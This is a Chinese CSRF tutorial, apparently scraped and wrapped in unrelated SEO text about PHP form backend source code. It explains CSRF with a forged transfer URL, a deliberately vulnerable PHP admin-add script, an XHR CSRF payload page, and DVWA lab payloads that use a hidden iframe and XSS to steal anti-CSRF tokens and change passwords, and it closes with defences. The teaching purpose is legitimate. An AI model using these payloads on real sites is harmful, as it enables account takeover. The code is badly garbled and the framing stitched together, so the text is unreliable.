各位老铁们好,相信很多人对PHP表单网站后端源码分享都不是特别的了解,因此呢,今天就来为大家分享下关于PHP表单网站后端源码分享以及php表单系统开源的问题知识,还望可以帮助大家,解决大家的一些困惑,下面一起来看看吧!
CSRF攻击即跨站请求伪造(跨站点请求伪造),是一种对网站的恶意利用,听起来似乎与XSS跨站脚本攻击有点相似,但实际上彼此相差很大,XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。
你可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求。CRSF能做的事情包括利用你的身份发邮件,发短信,进行交易转账等,甚至盗取你的账号。
那么,今天i春秋向小伙伴介绍一下CSRF突破原理的相关内容,希望对大家学习Web安全有所帮助。文章阅读约15分钟,一定要看完哦,文末内容更精彩?
CSRF攻击原理
当我们打开或登录某个网站后,浏览器与网站所存放的服务器将会产生一个会话,在会话结束前,用户就可以利用其自身的网站权限对网站进行操作,如:发表文章,发送邮件,会话结束后,在进行权限操作,网站就会知道会话超期或重新登录。
当通过登录网站后,浏览器就会和可信的站点建立一个经过认证的会话。所有通过这个经过认证的会话发送请求,都被认为是可信的行为,例如转账,汇款等操作。过长或者自主结束重叠,必须重新建立经过认证的可信安全的会话。
CSRF攻击是建立在会话之上。例如:登录了网上银行,拆分转换账业务,这是攻击者给你发来一个URL,这个URL是攻击者精心构造的有效替代,攻击者精心构造的转账业务代码,而且与你登录的是同一家银行,当你认为这是安全的链接后点击进去,你的钱就没了!
例如想给用户xxser转账1000元,正常的URL是:
secbug.org/pay.jsp?user=xxser&money=1000
而攻击者构造的URL则是:
secbug.org/pay.jsp?user=hack&money=10000
CSRF突破利用
CSRF进攻常常被用来制造蠕虫攻击,SEO流量等。
分析防御代码
获取GET参数用户名和密码,然后通过选择语句查询是否存在对应的用户,如果存在通过$_SESSION设置一个会话:isadmin=admin,否则设置会话:isadmin=guest
判断会话中的isadmin是否为admin,如果isadmin!=admin说明用户没有登录,那么切换到登录页面,只有在管理员登录后才可以执行用户的操作。
获取POST参数用户名和密码然后插入用户表中,完成添加用户的操作。
<?php\n\n??session_start();\n??if(isset($_GET[&39;])){\n??????$con=mysqli_connect(&34;,&34;,&34;,&34;);\n??????if(mysql_connect_errno()){\n????????echo&34;.mysql_connect_errno();\n??????}\n??????$username=addslashes($_GET[&39;]);\n??????$password=$_GET[&39;];\n??????$result=mysqli_query($con,&39;&34;&39;&34;&34;);\n??????$row=mysqli_fetch_array($result);\n??????if($row){\n????????$_SESSION[&39;]=&39;;\n????????exit(&34;);\n??????}else{\n????????$_SESSION[&39;]=&39;;\n????????exit(&34;);\n??????}\n??}else{\n??????$_SESSION[&39;]=&39;;\n??}\n??if($_SESSION[&39;]!=&39;){\n??????exit(&34;);\n??}\n??if(isset($_POST[&39;])){\n??????if(isset($_POST[&39;])){\n????????$result1=mysqli_query($con,&39;&39;username&34;&39;&39;password&34;&34;);\n????????exit($_POST[&39;].&34;);\n??????}\n??}\n?>
这是后台php源码。
攻击者需要做的就是构造一个请求,请求的URL就是php文件的URL,参数是submit=1&username=1&password=1,请求有效载荷会自动利用原始码的特性添加一个用户:
<!DOCTYPEhtml>\n<html>\n<head>\n??<metacharset=&34;>\n??<title>CSRF漏洞实践</title>\n</head>\n<body>\n??<scripttype=&34;>\n??????varpauses=newArray(&34;);\n??????varmethods=newArray(&34;);\n??????varurls=newArray(&34;);\n??????varparams=newArray(&34;);\n??????functionpausecomp(millis){\n????????vardate=newDate();\n????????varcurDate=null;\n????????do{\n??????????curDate=newDate();\n????????}while(curDate-date<millis);\n??????}\n??????functionrun(){\n????????varcount=1;\n????????vari=0;\n????????for(i=0;i<count;i++){\n??????????makeXHR(methods[i],urls[i],params[i]);\n??????????pausecomp(pausecomp[i]);\n\n????????}\n??????}\n??????varhttp_request=false;\n??????functionmakeXHR(method,url,paramters){\n????????http_request=false;\n????????if(window.XMLHttpRequest){\n??????????http_request=newXMLHttpRequest();\n??????????if(http_request.overrideMinmeType){\n??????????????http_request.overrideMinmeType(&39;);\n??????????}\n????????}elseif(window.ActiveXObject){\n??????????try{\n??????????????http_request=newActiveXObject(&34;);\n??????????}catch(e){\n??????????????try{\n????????????????http_request=newActiveXObject(&34;);\n??????????????}catch(e){}\n??????????}\n????????}\n????????if(!http_request){\n??????????alert(&39;);\n??????????returnfalse;\n????????}\n????????if(method==&39;){\n??????????if(url.indexOf(&39;)==-1){\n??????????????url=url+&39;+paramters;\n??????????}else{\n??????????????url=url+&39;+paramters;\n\n??????????}\n??????????http_request.open(method,url,true);\n??????????http_request.send(&34;);\n\n????????}elseif(method==&39;){\n??????????http_request.open(method,url,true);\n??????????http_request.setRequestHeader(&34;,&34;);\n??????????http_request.setRequestHeader(&34;,paramters.length);\n??????????http_request.setRequestHeader(&34;,&34;);\n??????????http_request.send(paramters);\n????????}\n??????}\n??</script>\n</body>\n</html>
DVWA平台CSRF
没有找到比较好的原始文件,于是找到了DVWA。
low
前端源码
<h3>Changeyouradminpassword:</h3>\n<br>\n<formaction=&&34;GET&34;off&34;password_new&34;password&34;off&34;password_conf&34;password&34;Change&34;Change&34;submit&39;Change&39;password_new&39;password_conf&34;___mysqli_ston&34;___mysqli_ston&34;___mysqli_ston&34;[MySQLConverterToo]Fixthemysql_escape_string()call!Thiscodedoesnotwork.&34;&34;&34;UPDATE`users`SETpassword=&39;WHEREuser=&34;.dvwaCurrentUser().&39;;&34;___mysqli_ston&39;<pre>&34;___mysqli_ston&34;___mysqli_ston&39;</pre>&34;<pre>PasswordChanged.</pre>&34;<pre>Passwordsdidnotmatch.</pre>&34;___mysqli_ston&
我们将Payload发送给受害者,受害者处于会话保持(登录状态)中,遭受一旦点击该URL链接,就意味着受害者执行了同样的操作,这个过程就是CSRF。
笔者位于的DVWA使用的登录密码,被替换为“123456”。
重点
这里的攻击建立是利用受害者的Cookie向服务器发送伪造请求(Payload),如果用户使用的是一个与xxser.com保持会话登录的浏览器重置有效负载URL,受害者的密码就会发生更改。
现如今,人们的安全意识普遍增高,我们可以采用短链接这种方式来进行优化,例如百度,新浪的短链接替代,以便减少图片内容,密码修改后的页面会有提示。
高明的做法(从一位前辈copy过来的)
<!DOCTYPEhtml>\n<html>\n<head>\n<metacharset=&34;>\n<title>Payload</title>\n</head>\n<body>\n<imgsrc=&&34;0&34;display:none&39;Change&39;HTTP_REFERER&39;SERVER_NAME&39;password_new&39;password_conf&34;___mysqli_ston&34;___mysqli_ston&34;___mysqli_ston&34;[MySQLConverterToo]Fixthemysql_escape_string()call!Thiscodedoesnotwork.&34;&34;&34;UPDATE`users`SETpassword=&39;WHEREuser=&34;.dvwaCurrentUser().&39;;&34;___mysqli_ston&39;<pre>&34;___mysqli_ston&34;___mysqli_ston&39;</pre>&34;<pre>PasswordChanged.</pre>&34;<pre>Passwordsdidnotmatch.</pre>&39;tcomefromatrustedsource\n????echo&39;tlookcorrect.</pre>&34;___mysqli_ston&39;Change&39;user_token&39;session_token&39;index.php&39;password_new&39;password_conf&34;___mysqli_ston&34;___mysqli_ston&34;___mysqli_ston&34;[MySQLConverterToo]Fixthemysql_escape_string()call!Thiscodedoesnotwork.&34;&34;&34;UPDATE`users`SETpassword=&39;WHEREuser=&34;.dvwaCurrentUser().&39;;&34;___mysqli_ston&39;<pre>&34;___mysqli_ston&34;___mysqli_ston&39;</pre>&34;<pre>PasswordChanged.</pre>&34;<pre>Passwordsdidnotmatch.</pre>&34;___mysqli_ston&34;text/javascript&39;user_token&34;hack&39;user_token&34;transfer&34;http://192.168.153.130/dvwa/vulnerabilities/csrf&34;hack&34;0&34;display:none;&34;attack()&34;GET&34;transfer&34;http://169.254.36.73/DVWA-master/vulnerabilities/csrf/&34;hidden&34;password_new&34;password&34;hidden&34;password_conf&34;password&34;hidden&34;user_token&34;&34;hidden&34;Change&34;Change”>\n\n</form>\n\n</body>\n
攻击提示是当受害者点击进入该页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的令牌,并向服务器发送改密请求,以完成CSRF攻击。
然而理想与现实的差异是巨大的,这里牵扯到了跨域问题,而现在的浏览器是分离跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://169.254。36.73/DVWA主站/漏洞/csrf/,位于服务器169.254.36.73上,而我们的攻击页面位于黑客服务器上,其中的域名不同,域名B下的所有页面都主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的,所以我们将攻击代码注入到目标服务器169.254.36.73中,才有可能完成攻击。下面利用高级XSS入侵协助赢得Anti-CSRF令牌(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRFtoken)
这里的名称存在XSS突破,于是抓包,改参数,成功删除令牌链接。
通过DVWA平台的CSRF实例,简单的总结了CSRF的特性和应对措施:
CSRF应对措施
从DVWA的测试中总结:在不可能的等级的原始代码中,利用了PDO技术防御SQL注入,CSRF方面则要求用户原始密码;攻击者在不知道原始密码的情况下是无法进行CSRF的!
CSRF防御手段
使用POST,限制GET
GET方式最容易受到CSRF攻击,只要简单的构造有效剂量就可能导致CSRF;使用POST可以大程度的减低CSRF显示率
浏览器Cookie策略
老浏览器会拦截第三方本地Cookie的发送,而新浏览器则不会拦截发送;
添加验证码
简单粗暴还有效;可以大程度的增加人机交互的过程,避免用户被悄悄的偷袭
推荐人检查
检查请求是否来自于合法的源
反CSRF令牌
令牌的值必须是随机的,不可预测的。由于令牌的存在,攻击者无法再构造一个带有合法令牌的请求实施CSRF攻击。另外使用令牌时应注意其保密性,尽量把敏感的操作由GET改写POST,以表格或AJAX形式提交,避免令牌替换。
总结
CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式,通常使用反CSRF令牌来防御CSRF攻击,同时要注意令牌的保密性和随机性。
实际上是网络安全除CSRF之外,还包括SQL注入,XSS等众多知识点,繁杂且不成体系,若要深入学习Web安全攻防内容,一定要从基础抓起:https://www.ichunqiu.com/train/course/11?form=weixin
关于本次PHP表单网站后端源码分享和php表单系统开源的问题分享到这里就结束了,如果解决了您的问题,我们非常高兴。